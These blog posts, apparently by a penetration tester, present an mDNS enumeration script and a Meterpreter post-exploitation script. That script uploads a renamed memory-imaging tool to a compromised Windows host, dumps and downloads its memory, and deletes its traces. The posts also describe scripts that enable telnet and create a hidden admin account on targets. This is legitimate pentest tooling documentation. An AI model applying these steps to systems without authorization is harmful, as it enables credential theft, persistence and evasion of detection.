Update to the Metasploit Framework Install Guide

It had been a while since I last updated the Ubuntu/Debian install guide. Recently had to install a new version of my Linux dev VM so what better time to go through the steps and update the guide. I hope you find the guide useful as always. 

Changes:

• Update the link for Armitage download.
• Changed nmap install to use Git instead of SVN
• Now we pull the Ruby version from the project it self so it is always the latest
• We now install the latest Oracle Java version.
• Remove warning of bug with RVM that has been fixed in the project.

MDNSRecon

Recently I was chatting with my good friend Elliot Cutright also known in twitter as @nullthreat about the recent changes I have been doing to DNSRecon and several of the improvements. He commented that he would miss the MDNS enumeration feature I had on it originally. Do to my move of supporting Python 3.x and supporting Python 2.x and above for the tool I had to drop that feature in addition that library I used for it was abandoned by the author for quite some time. MDNS is a great way to find all sorts of information about hosts in your same subnet specially since the MDSN records act as regular DNS SRV records where we get Service name that most times include the protocol and name, Target for the service, Port and a text field with additional information. In addition to this one can resolve the hosts to their IPv4 and IPv6 addresses.

Based on the request I wrote a Ruby script that leveraged the tool avahi-browser and set as my goals for the script:

• Detect most of the supported MDNS Records in the local subnet the attacker is connected on.
• Do not resolve those services running on the attackers machine.
• Make sure that the out put was useful and easy to parse and manipulate for a tester.

The resulting script I called MDNSRecon and can be downloaded from my GitHub account at https://github.com/darkoperator/MDNSRecon 

root@bt:~# ./mdnsrecon.rb -h
 MDNSRecon Script by Carlos Perez (carlos_perez[at]darkoperator.com)
Version 0.1
Usage: mdnsrecon.rb [OPTION]
 --help, -h:
 show help
 --csv <file>, -c <file>:
 CSV File to save records found.
 --grep, -g:
 Output grepable Output with a delimiter of \
 <service>\domain\host\IP\port\txt
If no option is given it will print records found to standard output.

If ran with no option we get output similar to this one if machines are available:

root@bt:~# ./mdnsrecon.rb 
[-] Records found:
[*] Host: bt.local
[*] IP: 192.168.192.128
[*] Port: 9
[*] Service:Workstation
[*] Text:''
[*] 
[*] Host: ubuntu.local
[*] IP: 192.168.192.129
[*] Port: 9
[*] Service:Workstation
[*] Text:''
[*] 
[*] Host: ubuntu.local
[*] IP: 192.168.192.129
[*] Port: 22
[*] Service:_udisks-ssh._tcp
[*] Text:''
[*]

If We want the output in a grepable format we use the -g options so the cut command and grep can be used to better find targets, in this example we will look for SSH services:

root@bt:~# ./mdnsrecon.rb -g | grep ssh |cut -d '\' -f4,5 --output-delimiter=" " -n
192.168.192.129 22

Now in the case we want to save the results in a format we can email someone or parse a larger set of results like those you can find on a conference floor ( or so I was told) you can select to save to a CSV file and later user a spreadsheet program or PowerShell on Windows to parse and slice:

root@bt:~# ./mdnsrecon.rb -c lab.csv
[-] Saving found records to lab.csv
[*] 3 Records saved

root@bt:~# cat lab.csv 
service,domain,host,ip,port,txt
Workstation,local,bt.local,192.168.192.128,9,''
_udisks-ssh._tcp,local,ubuntu.local,192.168.192.129,22,''
Workstation,local,ubuntu.local,192.168.192.129,9,''

So far I'm only supporting Debian, Ubuntu and Backtrack 5 as the platforms to run the script on, recommending Backtrack 5 as the preferred one. I will add other distributions of Linux depending on the amount of requests I get. I do hope you find the script useful and as with any of my projects feedback and feature request are always welcomed.

Meterpreter Memory Dump Script

A couple of weeks ago my friend Mubix sent me an email with the idea of dumping a targets memory for analysis and information extraction and if I could write a Meterpreter script for it, I did a small run of some ideas and like any geek with ADD I started but never finished the script. But after hearing Pauldotcom podcast episode 142 and saw the same idea that Mubix and I had discussed in the great technical segment by Marcus J. Carey from DojoSec. I decided to finish the script.  This Meterpreter script differs from other scripts I have written in that it requires a tool that is not built in Meterpreter or part of the target OS, it requires Man Tech Memory DD for imaging the target machine memory, this tool works on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server. For the execution of this script the mdd.exe must be downloaded and placed in the data directory of  your Metasploit installation, in the case of BT4 this is in /pentest/exploits/framework3/data then the script is downloaded and placed in the Meterpreter script directory

cd /pentest/exploits/framework3/scripts/meterpreter/
wget http://www.darkoperator.com/memdump.rb

Now that we have downloaded the script it can be used with the Meterpreter payload in a compromised windows target host.  Once and exploit or client side attack is executed where we get a running Meterpreter session we can use this script. The options for the script are as follows:

meterpreter > run memdump -h
Memory Dumper Meterpreter Script
OPTIONS:
    -c        Check Memory Size on target. Image file will be of this size
    -d        Dump Memory do not download
    -h        Help menu.
    -t <opt>  Change the timeout default 5min. Specify timeout in seconds
meterpreter > 

The first step would be to check the memory size of the target host to now what is the size of the physical memory this will let us know the size of the image that will be created, this is achieved by running the script with the –c option:

meterpreter > run memdump -c
[*] Checking the memory size of the target machine ......
[*] The size of the image will be the same as the amount of Physical Memory
[*] Total Physical Memory:     383 MB
meterpreter > 

The main reason we want to know this is for when we transfer that image, on a MS SQL server or Exchange server this may be several Gigabytes in size, especially since most modern servers come with 4GB as their minimum memory size.

To execute a full run with Download we execute the script in the following manner:

meterpreter > run memdump
[*] Running Meterpreter Memory Dump Script.....
[*] Uploading mdd for dumping targets memory....
[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\04522.exe
[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\85281.........
[*] Finished dumping target memory
[*] Deleting mdd.exe from target...
[*] mdd.exe deleted
[*] Downloading memory image to /root/.msf3/logs/memdump/192.168.1.785281
[*] Finished downloading memory image
[*] Deleting left over files...
[*] Memory image on target deleted
meterpreter > 

The script will perform the following:

• Upload mdd.exe to the path of the %TEMP% variable of the process under witch the Meterpreter session in running.
• The name will be a random generated number for obfuscation.
• It will dump the memory with a name of a random generated number also for obfuscation and for avoiding collision of files when multiple exploits and instances of the script are ran on the target machine.
• It will delete the mdd.exe on the target host.
• It will Download the image to the .msf3/logs/memdump/<target host ip><random number>
• Delete the memory image on the target host.

If the memory size is very big and the pentester wishes to use another method for downloading the image, only a dump can be executed:

meterpreter > run memdump -d
[*] Running Meterpreter Memory Dump Script.....
[*] Uploading mdd for dumping targets memory....
[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\35194.exe
[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\63258.........
[*] Finished dumping target memory
[*] Deleting mdd.exe from target...
[*] mdd.exe deleted
meterpreter >

The default timeout for the execution and for the download of the file is of 5 minutes (300 seconds) this can be altered with the –t option and a value in seconds is given.

Once the image is downloaded it can be analyzed locally using Volatility Framework, more info about this can be found in the Pauldotcom wiki show notes for episode 142. I hope that you find this script useful and thanks to Mubix for having the mischievous idea that lead to the writing of this script.

More Meterpreter Post Exploitation Fun

Well guys 2 more of my scripts passed mustered and where committed to the Metasploit SVN, this scripts are:

• gettelnet- This script will enable telnet service on the target machine if it is running Windows 2003 or higher, in the case of Windows Vista and Windows 2008 that do not have the service installed by default the script will install the service and configure it to start automatically, in addition a username and password can be provided so that a local account with administrative privelages can be created and placed in the apropiate groups.
• remotewinenun - This script will run wmic command enumerating diferent settings from a target computer using the credential of the process under withc meterpreter is running under, a username and password can also be provided.